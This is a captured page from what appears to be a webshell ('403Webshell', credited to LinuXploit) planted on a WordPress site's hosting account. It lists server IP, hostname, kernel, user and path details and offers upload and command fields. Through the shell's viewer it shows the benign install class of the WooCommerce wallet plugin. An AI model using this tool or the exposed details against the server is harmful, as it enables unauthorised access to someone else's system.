403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.153
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mypckeys/yeslicense.org/wp-content/plugins/woo-wallet/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mypckeys/yeslicense.org/wp-content/plugins/woo-wallet/includes/class-woo-wallet-install.php
<?php
/**
 * Wallet plugin installation file
 *
 * @package StandaleneTech
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
/**
 * Woo_Wallet_Install Class
 */
class Woo_Wallet_Install {
	/**
	 * Version updates
	 *
	 * @var array
	 */
	private static $db_updates = array(
		'1.0.8'  => array(
			'woo_wallet_update_108_db_column',
		),
		'1.1.0'  => array(
			'woo_wallet_update_110_db_column',
		),
		'1.1.7'  => array(
			'woo_wallet_update_117_db_column',
		),
		'1.3.10' => array(
			'woo_wallet_update_1310_db_column',
		),
		'1.3.12' => array(
			'woo_wallet_update_1312_db_column',
		),
		'1.3.21' => array(
			'woo_wallet_update_1321_db_column',
		),
	);
	/**
	 * Class constructor.
	 */
	public function __construct() {
		self::update();
	}

	/**
	 * Plugin install
	 *
	 * @return void
	 */
	public static function install() {
		if ( ! is_blog_installed() ) {
			return;
		}
		self::create_tables();
		self::cteate_product_if_not_exist();
	}

	/**
	 * Plugins table creation
	 *
	 * @global object $wpdb
	 */
	private static function create_tables() {
		global $wpdb;
		$wpdb->hide_errors();
		require_once ABSPATH . 'wp-admin/includes/upgrade.php';

		dbDelta( self::get_schema() );
	}

	/**
	 * Plugin table schema
	 *
	 * @global object $wpdb
	 * @return string
	 */
	private static function get_schema() {
		global $wpdb;
		$collate = '';

		if ( $wpdb->has_cap( 'collation' ) ) {
			$collate = $wpdb->get_charset_collate();
		}
		$tables = "CREATE TABLE IF NOT EXISTS {$wpdb->base_prefix}woo_wallet_transactions (
            transaction_id BIGINT UNSIGNED NOT NULL auto_increment,
            blog_id BIGINT UNSIGNED NOT NULL DEFAULT 1,
            user_id BIGINT UNSIGNED NOT NULL DEFAULT 0,
            type ENUM('credit', 'debit') NOT NULL,
            amount DECIMAL( 16,8 ) NOT NULL,
            balance DECIMAL( 16,8 ) NOT NULL,
            currency varchar(20 ) NOT NULL,
            details longtext NULL,
            created_by BIGINT UNSIGNED NOT NULL DEFAULT 1,
            deleted tinyint(1 ) NOT NULL DEFAULT 0,
            date timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
            PRIMARY KEY  (transaction_id ),
            KEY user_id (user_id )
        ) $collate;
        CREATE TABLE {$wpdb->base_prefix}woo_wallet_transaction_meta (
            meta_id BIGINT UNSIGNED NOT NULL auto_increment,
            transaction_id BIGINT UNSIGNED NOT NULL,
            meta_key varchar(255) default NULL,
            meta_value longtext NULL,
            PRIMARY KEY  (meta_id ),
            KEY transaction_id (transaction_id ),
            KEY meta_key (meta_key(32 ) )
        ) $collate;";
		return $tables;
	}
	/**
	 * Create rechargeable product if not exist
	 */
	public static function cteate_product_if_not_exist() {
		if ( ! wc_get_product( get_option( '_woo_wallet_recharge_product' ) ) ) {
			self::create_product();
		}
	}

	/**
	 * Create rechargeable product
	 */
	private static function create_product() {
		$product_args = array(
			'post_title'   => wc_clean( 'Wallet Topup' ),
			'post_status'  => 'private',
			'post_type'    => 'product',
			'post_excerpt' => '',
			'post_content' => stripslashes( html_entity_decode( 'Auto generated product for wallet recharge please do not delete or update.', ENT_QUOTES, 'UTF-8' ) ),
			'post_author'  => get_current_user_id(),
		);
		$product_id   = wp_insert_post( $product_args );
		if ( ! is_wp_error( $product_id ) ) {
			$product = wc_get_product( $product_id );
			wp_set_object_terms( $product_id, 'simple', 'product_type' );
			update_post_meta( $product_id, '_stock_status', 'instock' );
			update_post_meta( $product_id, 'total_sales', '0' );
			update_post_meta( $product_id, '_downloadable', 'no' );
			update_post_meta( $product_id, '_virtual', 'yes' );
			update_post_meta( $product_id, '_regular_price', '' );
			update_post_meta( $product_id, '_sale_price', '' );
			update_post_meta( $product_id, '_purchase_note', '' );
			update_post_meta( $product_id, '_featured', 'no' );
			update_post_meta( $product_id, '_weight', '' );
			update_post_meta( $product_id, '_length', '' );
			update_post_meta( $product_id, '_width', '' );
			update_post_meta( $product_id, '_height', '' );
			update_post_meta( $product_id, '_sku', '' );
			update_post_meta( $product_id, '_product_attributes', array() );
			update_post_meta( $product_id, '_sale_price_dates_from', '' );
			update_post_meta( $product_id, '_sale_price_dates_to', '' );
			update_post_meta( $product_id, '_price', '' );
			update_post_meta( $product_id, '_sold_individually', 'yes' );
			update_post_meta( $product_id, '_manage_stock', 'no' );
			update_post_meta( $product_id, '_backorders', 'no' );
			update_post_meta( $product_id, '_stock', '' );
			if ( version_compare( WC_VERSION, '3.0', '>=' ) ) {
				$product->set_reviews_allowed( false );
				$product->set_catalog_visibility( 'hidden' );
				$product->save();
			}

			update_option( '_woo_wallet_recharge_product', $product_id );
		}
	}

	/**
	 * Get list of DB update callbacks.
	 *
	 * @since  1.0.8
	 * @return array
	 */
	public static function get_db_update_callbacks() {
		return self::$db_updates;
	}

	/**
	 * Update plugin
	 */
	private static function update() {
		$current_db_version = get_option( 'woo_wallet_db_version' );
		if ( version_compare( WOO_WALLET_PLUGIN_VERSION, $current_db_version, '=' ) ) {
			return;
		}
		foreach ( self::get_db_update_callbacks() as $version => $update_callbacks ) {
			if ( version_compare( $current_db_version, $version, '<' ) ) {
				foreach ( $update_callbacks as $update_callback ) {
					call_user_func( $update_callback );
				}
			}
		}
		self::update_db_version();
	}

	/**
	 * Update DB version to current.
	 *
	 * @param string|null $version New WooCommerce DB version or null.
	 */
	public static function update_db_version( $version = null ) {
		delete_option( 'woo_wallet_db_version' );
		add_option( 'woo_wallet_db_version', is_null( $version ) ? WOO_WALLET_PLUGIN_VERSION : $version );
	}

}

new Woo_Wallet_Install();

Youez - 2016 - github.com/yon3zu
LinuXploit